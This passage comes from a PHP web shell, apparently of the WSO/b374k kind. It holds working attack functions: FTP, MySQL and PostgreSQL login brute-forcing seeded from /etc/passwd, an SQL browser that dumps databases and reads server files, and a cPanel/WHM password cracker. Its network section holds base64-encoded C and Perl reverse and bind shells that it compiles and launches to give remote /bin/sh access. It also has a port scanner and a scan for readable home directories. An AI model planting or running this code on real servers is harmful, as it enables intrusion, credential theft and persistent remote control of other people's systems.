  1282. <td align="center" height=35><form action ="" method="post"><input type = "submit" name="CpanelkbyGujjar" value =">>"></td>
  1283. </tr>
  1284. <tr>
  1285. <td align="center" height=35><b><font color="#a3e956">b374k shell </font><font color="red">( Login: Password: b374k )</font></td>
  1286. <td align="center" height=35><form action ="" method="post"><input type = "submit" name="b374k" value =">>"></td>
  1287. </tr>
  1288. <tr>
  1289. <td align="center" height=35><b><font color="#a3e956">Zone-h Mass Poster</font><br></td>
  1290. <td align="center" height=35><form action ="" method="post"><input type = "submit" name="ZonehMassPoster" value =">>"></td>
  1291. </tr>
  1292. <tr>
  1293. <td align="center" height=35><b><font color="#a3e956">WHMCS Killer v3</font><br></td>
  1294. <td align="center" height=35><form action ="" method="post"><input type = "submit" name="Whmcs" value =">>"></td>
  1295. </tr>
  1296. <tr>
  1297. <td align="center" height=35><b><font color="#a3e956">Wordpress Config Decoder</font><br></td>
  1298. <td align="center" height=35><form action ="" method="post"><input type = "submit" name="cdecode" value =">>"></td>
  1299. </tr>
  1300. </table>
  1301. </div>';
  1302. printFooter();
  1303. }
  1304.  
  1305. function actionBruteforce() {
  1306. printHeader();
  1307. if( isset($_POST['proto']) ) {
  1308. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1309. if( $_POST['proto'] == 'ftp' ) {
  1310. function bruteForce($ip,$port,$login,$pass) {
  1311. $fp = @ftp_connect($ip, $port?$port:21);
  1312. if(!$fp) return false;
  1313. $res = @ftp_login($fp, $login, $pass);
  1314. @ftp_close($fp);
  1315. return $res;
  1316. }
  1317. } elseif( $_POST['proto'] == 'mysql' ) {
  1318. function bruteForce($ip,$port,$login,$pass) {
  1319. $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  1320. @mysql_close($res);
  1321. return $res;
  1322. }
  1323. } elseif( $_POST['proto'] == 'pgsql' ) {
  1324. function bruteForce($ip,$port,$login,$pass) {
  1325. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
  1326. $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
  1327. @pg_close($res);
  1328. return $res;
  1329. }
  1330. }
  1331. $success = 0;
  1332. $attempts = 0;
  1333. $server = explode(":", $_POST['server']);
  1334. if($_POST['type'] == 1) {
  1335. $temp = @file('/etc/passwd');
  1336. if( is_array($temp) )
  1337. foreach($temp as $line) {
  1338. $line = explode(":", $line);
  1339. ++$attempts;
  1340. if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1341. $success++;
  1342. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1343. }
  1344. if(@$_POST['reverse']) {
  1345. $tmp = "";
  1346. for($i=strlen($line[0])-1; $i>=0; --$i)
  1347. $tmp .= $line[0][$i];
  1348. ++$attempts;
  1349. if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1350. $success++;
  1351. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1352. }
  1353. }
  1354. }
  1355. } elseif($_POST['type'] == 2) {
  1356. $temp = @file($_POST['dict']);
  1357. if( is_array($temp) )
  1358. foreach($temp as $line) {
  1359. $line = trim($line);
  1360. ++$attempts;
  1361. if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1362. $success++;
  1363. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1364. }
  1365. }
  1366. }
  1367. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1368. }
  1369. echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1370. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1371. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1372. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1373. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1374. .'<span>Server:port</span></td>'
  1375. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1376. .'<tr><td><span>Brute type</span></td>'
  1377. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1378. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1379. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1380. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1381. .'<td><input type=text name=login value="komsen"></td></tr>'
  1382. .'<tr><td><span>Dictionary</span></td>'
  1383. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1384. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1385. echo '</div><br>';
  1386. printFooter();
  1387. }
  1388.  
  1389. function actionSql() {
  1390. class DbClass {
  1391. var $type;
  1392. var $link;
  1393. var $res;
  1394. function DbClass($type) {
  1395. $this->type = $type;
  1396. }
  1397. function connect($host, $user, $pass, $dbname){
  1398. switch($this->type) {
  1399. case 'mysql':
  1400. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1401. break;
  1402. case 'pgsql':
  1403. $host = explode(':', $host);
  1404. if(!$host[1]) $host[1]=5432;
  1405. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1406. break;
  1407. }
  1408. return false;
  1409. }
  1410. function selectdb($db) {
  1411. switch($this->type) {
  1412. case 'mysql':
  1413. if (@mysql_select_db($db))return true;
  1414. break;
  1415. }
  1416. return false;
  1417. }
  1418. function query($str) {
  1419. switch($this->type) {
  1420. case 'mysql':
  1421. return $this->res = @mysql_query($str);
  1422. break;
  1423. case 'pgsql':
  1424. return $this->res = @pg_query($this->link,$str);
  1425. break;
  1426. }
  1427. return false;
  1428. }
  1429. function fetch() {
  1430. $res = func_num_args()?func_get_arg(0):$this->res;
  1431. switch($this->type) {
  1432. case 'mysql':
  1433. return @mysql_fetch_assoc($res);
  1434. break;
  1435. case 'pgsql':
  1436. return @pg_fetch_assoc($res);
  1437. break;
  1438. }
  1439. return false;
  1440. }
  1441. function listDbs() {
  1442. switch($this->type) {
  1443. case 'mysql':
  1444. return $this->res = @mysql_list_dbs($this->link);
  1445. break;
  1446. case 'pgsql':
  1447. return $this->res = $this->query("SELECT datname FROM pg_database");
  1448. break;
  1449. }
  1450. return false;
  1451. }
  1452. function listTables() {
  1453. switch($this->type) {
  1454. case 'mysql':
  1455. return $this->res = $this->query('SHOW TABLES');
  1456. break;
  1457. case 'pgsql':
  1458. return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
  1459. break;
  1460. }
  1461. return false;
  1462. }
  1463. function error() {
  1464. switch($this->type) {
  1465. case 'mysql':
  1466. return @mysql_error($this->link);
  1467. break;
  1468. case 'pgsql':
  1469. return @pg_last_error($this->link);
  1470. break;
  1471. }
  1472. return false;
  1473. }
  1474. function setCharset($str) {
  1475. switch($this->type) {
  1476. case 'mysql':
  1477. if(function_exists('mysql_set_charset'))
  1478. return @mysql_set_charset($str, $this->link);
  1479. else
  1480. $this->query('SET CHARSET '.$str);
  1481. break;
  1482. case 'mysql':
  1483. return @pg_set_client_encoding($this->link, $str);
  1484. break;
  1485. }
  1486. return false;
  1487. }
  1488. function dump($table) {
  1489. switch($this->type) {
  1490. case 'mysql':
  1491. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1492. $create = mysql_fetch_array($res);
  1493. echo $create[1].";\n\n";
  1494. $this->query('SELECT * FROM `'.$table.'`');
  1495. while($item = $this->fetch()) {
  1496. $columns = array();
  1497. foreach($item as $k=>$v) {
  1498. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1499. $columns[] = "`".$k."`";
  1500. }
  1501. echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1502. }
  1503. break;
  1504. case 'pgsql':
  1505. $this->query('SELECT * FROM '.$table);
  1506. while($item = $this->fetch()) {
  1507. $columns = array();
  1508. foreach($item as $k=>$v) {
  1509. $item[$k] = "'".addslashes($v)."'";
  1510. $columns[] = $k;
  1511. }
  1512. echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1513. }
  1514. break;
  1515. }
  1516. return false;
  1517. }
  1518. };
  1519. $db = new DbClass(@$_POST['type']);
  1520. if(@$_POST['p2']=='download') {
  1521. ob_start("ob_gzhandler", 4096);
  1522. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1523. $db->selectdb($_POST['sql_base']);
  1524. header("Content-Disposition: attachment; filename=dump.sql");
  1525. header("Content-Type: text/plain");
  1526. foreach($_POST['tbl'] as $v)
  1527. $db->dump($v);
  1528. exit;
  1529. }
  1530. printHeader();
  1531. echo '<h1>Sql browser</h1><div class=content>
  1532. <form name="sf" method="post">
  1533. <table cellpadding="2" cellspacing="0">
  1534. <tr>
  1535. <td>Type</td>
  1536. <td>Host</td>
  1537. <td>Login</td>
  1538. <td>Password</td>
  1539. <td>Database</td>
  1540. <td></td>
  1541. </tr>
  1542. <tr>
  1543. <input type=hidden name=a value=Sql>
  1544. <input type=hidden name=p1 value=\'query\'>
  1545. <input type=hidden name=p2>
  1546. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  1547. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  1548. <td>
  1549. <select name=\'type\'>
  1550. <option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
  1551. <option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
  1552. </select></td>
  1553. <td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
  1554. <td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
  1555. <td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
  1556. <td>';
  1557. $tmp = "<input type=text name=sql_base value=''>";
  1558. if(isset($_POST['sql_host'])){
  1559. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1560. switch($_POST['charset']) {
  1561. case "Windows-1251": $db->setCharset('cp1251'); break;
  1562. case "UTF-8": $db->setCharset('utf8'); break;
  1563. case "KOI8-R": $db->setCharset('koi8r'); break;
  1564. case "KOI8-U": $db->setCharset('koi8u'); break;
  1565. case "cp866": $db->setCharset('cp866'); break;
  1566. }
  1567. $db->listDbs();
  1568. echo "<select name=sql_base><option value=''></option>";
  1569. while($item = $db->fetch()) {
  1570. list($key, $value) = each($item);
  1571. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1572. }
  1573. echo '</select>';
  1574. }
  1575. else echo $tmp;
  1576. }else
  1577. echo $tmp;
  1578. echo '</td>
  1579. <td><input type=submit value=">>"></td>
  1580. </tr>
  1581. </table>
  1582. <script>
  1583. function st(t,l) {
  1584. document.sf.p1.value = \'select\';
  1585. document.sf.p2.value = t;
  1586. if(l!=null)document.sf.p3.value = l;
  1587. document.sf.submit();
  1588. }
  1589. function is() {
  1590. for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
  1591. document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
  1592. }
  1593. </script>';
  1594. if(isset($db) && $db->link){
  1595. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1596. if(!empty($_POST['sql_base'])){
  1597. $db->selectdb($_POST['sql_base']);
  1598. echo "<tr><td width=1 style='border-top:1px solid #a3e956;border-right:2px solid #a3e956;'><span>Tables:</span><br><br>";
  1599. $tbls_res = $db->listTables();
  1600. while($item = $db->fetch($tbls_res)) {
  1601. list($key, $value) = each($item);
  1602. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1603. $value = htmlspecialchars($value);
  1604. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
  1605. }
  1606. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:1px solid #a3e956;'>";
  1607. if(@$_POST['p1'] == 'select') {
  1608. $_POST['p1'] = 'query';
  1609. $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
  1610. $num = $db->fetch();
  1611. $num = $num['n'];
  1612. echo "<span>".$_POST['p2']."</span> ($num) ";
  1613. for($i=0;$i<($num/30);$i++)
  1614. if($i != (int)$_POST['p3'])
  1615. echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
  1616. else
  1617. echo ($i+1)," ";
  1618. if($_POST['type']=='pgsql')
  1619. $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1620. else
  1621. $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1622. echo "<br><br>";
  1623. }
  1624. if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
  1625. $db->query(@$_POST['p3']);
  1626. if($db->res !== false) {
  1627. $title = false;
  1628. echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
  1629. $line = 1;
  1630. while($item = $db->fetch()) {
  1631. if(!$title) {
  1632. echo '<tr>';
  1633. foreach($item as $key => $value)
  1634. echo '<th>'.$key.'</th>';
  1635. reset($item);
  1636. $title=true;
  1637. echo '</tr><tr>';
  1638. $line = 2;
  1639. }
  1640. echo '<tr class="l'.$line.'">';
  1641. $line = $line==1?2:1;
  1642. foreach($item as $key => $value) {
  1643. if($value == null)
  1644. echo '<td><i>null</i></td>';
  1645. else
  1646. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1647. }
  1648. echo '</tr>';
  1649. }
  1650. echo '</table>';
  1651. } else {
  1652. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1653. }
  1654. }
  1655. echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
  1656. echo "</td></tr>";
  1657. }
  1658. echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1659. if(@$_POST['p1'] == 'loadfile') {
  1660. $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
  1661. $file = $db->fetch();
  1662. echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1663. }
  1664. }
  1665. echo '</div>';
  1666. printFooter();
  1667. }
  1668.  
  1669. function actionNetwork() {
  1670. printHeader();
  1671. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
  1672. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1673. $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
  1674. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1675.  
  1676. echo '<h1>Network tools</h1><div class=content>
  1677. <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
  1678. <br /><span>Bind port to /bin/sh</span><br/>
  1679. Port: <input type=\'text\' name=\'port\' value=\'444\'> Password: <input type=\'text\' name=\'pass\' value=\'PCD\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
  1680. </form>
  1681. <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
  1682. <br /><br /><span>Back-connect to</span><br/>
  1683. Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'444\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
  1684. </form><br>';
  1685. if(isset($_POST['p1'])) {
  1686. function cf($f,$t) {
  1687. $w=@fopen($f,"w") or @function_exists('file_put_contents');
  1688. if($w) {
  1689. @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
  1690. @fclose($w);
  1691. }
  1692. }
  1693. if($_POST['p1'] == 'bpc') {
  1694. cf("/tmp/bp.c",$bind_port_c);
  1695. $out = ex("gcc -o /tmp/bp /tmp/bp.c");
  1696. @unlink("/tmp/bp.c");
  1697. $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
  1698. echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
  1699. }
  1700. if($_POST['p1'] == 'bpp') {
  1701. cf("/tmp/bp.pl",$bind_port_p);
  1702. $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
  1703. echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
  1704. }
  1705. if($_POST['p1'] == 'bcc') {
  1706. cf("/tmp/bc.c",$back_connect_c);
  1707. $out = ex("gcc -o /tmp/bc /tmp/bc.c");
  1708. @unlink("/tmp/bc.c");
  1709. $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
  1710. echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
  1711. }
  1712. if($_POST['p1'] == 'bcp') {
  1713. cf("/tmp/bc.pl",$back_connect_p);
  1714. $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
  1715. echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
  1716. }
  1717. }
  1718. echo '</div>';
  1719. printFooter();
  1720. }
  1721.  
  1722. function actionPortScanner() {
  1723. printHeader();
  1724. echo '<h1>Port Scanner</h1>';
  1725. echo '<div class="content">';
  1726. echo '<form action="" method="post">';
  1727.  
  1728. if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
  1729. $start = strip_tags($_POST['start']);
  1730. $end = strip_tags($_POST['end']);
  1731. $host = strip_tags($_POST['host']);
  1732. for($i = $start; $i<=$end; $i++){
  1733. $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  1734. if($fp){
  1735. echo 'Port '.$i.' is <font color=aqua>open</font><br>';
  1736. }
  1737. flush();
  1738. }
  1739. } else {
  1740. echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
  1741. <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
  1742. <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  1743. Host: <input type="text" name="host" value="localhost"/><br /><br />
  1744. Port start: <input type="text" name="start" value="0"/><br /><br />
  1745. Port end:<input type="text" name="end" value="5000"/><br /><br />
  1746. <input type="submit" value="Scan Ports" />
  1747. </form></center><br /><br />';
  1748. }
  1749. echo '</div>';
  1750. printFooter();
  1751. }
  1752.  
  1753. function actionReadable() {
  1754. printHeader();
  1755. echo '<h1>Readable Dirs</h1>';
  1756. echo '<div class="content">';
  1757. $sm = ini_get('safe_mode');
  1758. if($sm) {
  1759. echo '<br /><b>Error: safe_mode = on</b><br /><br />';
  1760. } else {
  1761. @$passwd = file('/etc/passwd','r');
  1762. if (!$passwd) {
  1763. echo '<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />';
  1764. } else {
  1765. $pub = array();
  1766. $users = array();
  1767. $conf = array();
  1768. $i = 0;
  1769. foreach($passwd as $p) {
  1770. $r = explode(':',$p);
  1771. $dirz = $r[5].'/public_html/';
  1772. if(strpos($r[5],'home')) {
  1773. array_push($users,$r[0]);
  1774. if (is_readable($dirz)) {
  1775. array_push($pub,$dirz);
  1776. }
  1777. }
  1778. }
  1779. echo '<br><br>';
  1780. echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
  1781. echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /><br /><br />";
  1782. foreach ($pub as $user) {
  1783. echo $user."<br>";
  1784. }
  1785. echo "<br /><br /><br />[+] Complete...\n"."<br />";
  1786. }
  1787. }
  1788. echo '</div>';
  1789. printFooter();
  1790. }
  1791. function actionCpanel() {
  1792. printHeader();
  1793. echo '<h1>cPanel Cracker</h1>';
  1794. echo '<div class="content">';
  1795. echo '<table align=center class="main" border="0"><tr bgcolor="#5e5e5e"><td>Users</td><td></td><td>Selected Users</td><td>Password</td></tr>';
  1796. echo '<tr><td><textarea rows="20" name="S1" cols="33"></textarea></td>';
  1797. echo '<td><input type="button" name="cpad1" value=">" class="cpb"/><br /><br /><input type="button" name="cpadall" value=">>" class="cpb"/><br /><br />';
  1798. echo '<input type="button" name="cprm1" value="<" class="cpb"/><br /><br /><input type="button" name="cprmall" value="<<" class="cpb"/></td>';
  1799. echo '<td><textarea rows="20" name="users" cols="33"></textarea></td>';
  1800. echo '<td><textarea rows="20" name="passwords" cols="33"></textarea></td>';
  1801. echo '</tr>';
  1802. echo '<tr><td><input style="width:252px;" type="button" onclick="g(\'Cpanel\',null,\'grbetcpw\')" value="Grab usernames from /etc/passwd"/><br /><input style="margin-top:5px;width:252px;" type="button" onclick="g(\'Cpanel\',null,\'grbhome\')" value="Grab usernames from /home"/></td><td></td>';
  1803. echo '<td colspan="2"><span>Crack options:&nbsp;&nbsp;&nbsp;</span><input name="cracktype" value="cpanel" checked type="radio"><b>Cpanel(2082)</b>&nbsp;&nbsp;<input name="cracktype" value="whm" type="radio"><b>WHM(2087)</b>&nbsp;&nbsp;<input name="cracktype" value="ftp" type="radio"><b>Ftp(21)</b><br />
  1804. <div style="margin-top:5px;"><span>Timeout delay:&nbsp;&nbsp;</span><input type="text" name="connect_timeout" size="4" value=""/>&nbsp;&nbsp;
  1805. <input type="checkbox" name="bruteforce" value="true"/>&nbsp;<span>Bruteforce</span>&nbsp;
  1806. <select name="charset">
  1807. <option value="all">All Letters + Numbers</option>
  1808. <option value="numeric">Numbers</option>
  1809. <option value="letters">Letters</option>
  1810. <option value="symbols">Symbols</option>
  1811. <option value="lowercase">Lower Letters</option>
  1812. <option value="uppercase">Higher Letters</option>
  1813. <option value="lowernumeric">Lower Letters + Numbers</option>
  1814. <option value="uppernumeric">Upper Letters + Numbers</option>
  1815. <option value="lowersymbols">Lower Letters + Symbols</option>
  1816. <option value="uppersymbols">Upper Letters + Symbols</option>
  1817. <option value="letterssymbols">All Letters + Symbols</option>
  1818. <option value="numberssymbols">Numbers + Symbols</option>
  1819. <option value="lowernumericsymbols">Lower Letters + Numbers + Symbols</option>
  1820. <option value="uppernumericsymbols">Upper Letters + Numbers + Symbols</option>
  1821. <option value="lettersnumericsymbols">All Letters + Numbers + Symbols</option>
  1822. </select></div>
  1823. <div style="margin-top:5px;"><span>Min Bruteforce Length:&nbsp;&nbsp;</span><input type="text" name="min_length" size="5" value=""/>&nbsp;&nbsp;&nbsp;&nbsp;<span>Max Bruteforce Length:&nbsp;&nbsp;</span><input type="text" name="max_length" size="5" value=""/></div>
  1824. <div style="margin-top:5px;text-align:center"><input type="submit" value="Crack Now" name="submit" style="font-weight: bold;"/></div>
  1825. </td></tr>';
